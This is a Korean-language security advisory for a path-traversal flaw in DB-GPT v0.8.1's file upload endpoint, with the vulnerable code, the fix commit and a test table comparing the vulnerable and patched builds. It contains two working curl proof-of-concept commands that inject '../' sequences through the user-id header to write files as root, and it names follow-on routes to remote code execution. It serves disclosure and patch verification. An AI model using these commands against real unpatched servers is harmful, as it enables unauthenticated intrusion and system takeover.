
CVE-2026-73034 — DB-GPT v0.8.1 인증되지 않은 경로 탐색 → user-id 헤더를 통한 루트 권한 임의 파일 쓰기. 검증됨 + 수정 diff
CVSS 9.8 (치명적) · CWE-22 · GHSA/이슈 #3104
DB-GPT v0.8.1의 POST /api/v1/python/file/upload는 user-id HTTP 헤더를 받아
경로 구성 요소로 그대로 사용합니다:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
인증이 없습니다 — 헤더가 없으면 앱은 user_id="001", role="admin"으로 대체됩니다. user-id에 ../ 시퀀스를 주입하면 업로드 루트를 벗어나 인증되지 않은 원격 공격자가 컨테이너 프로세스(root)가 쓸 수 있는 모든 위치에 임의의 파일을 쓸 수 있게 됩니다 → 직접적인 RCE 경로(웹루트 .py, 크론 작업, authorized_keys, …).
영향 버전: DB-GPT ≤ v0.8.1
수정 버전: v0.8.2+ — 커밋 e0c741bd2b5e521b128cffb3f68982dde3f7b359 (_SAFE_USER_ID_RE 화이트리스트 ^[A-Za-z0-9_\-]+$, 업로드 디렉터리 범위 검사, TOCTOU 심볼릭 링크 재검사 추가)
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
참고: FastAPI는 user_id 파라미터를 user-id HTTP 헤더(하이픈, 밑줄 아님)에 매핑합니다.
전체 스크립트: poc_cve-2026-73034.sh (두 익스플로잇 모두 실행 + 컨테이너 내부 검증 + 수정 빌드 비교)
| 테스트 | 결과 |
|---|
대조 업로드 (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
익스플로잇 user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt 작성됨 (root) |
익스플로잇 user-id: ../../../../root | ✅ /root/pwned_root.txt 작성됨 |
| 수정 빌드 (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |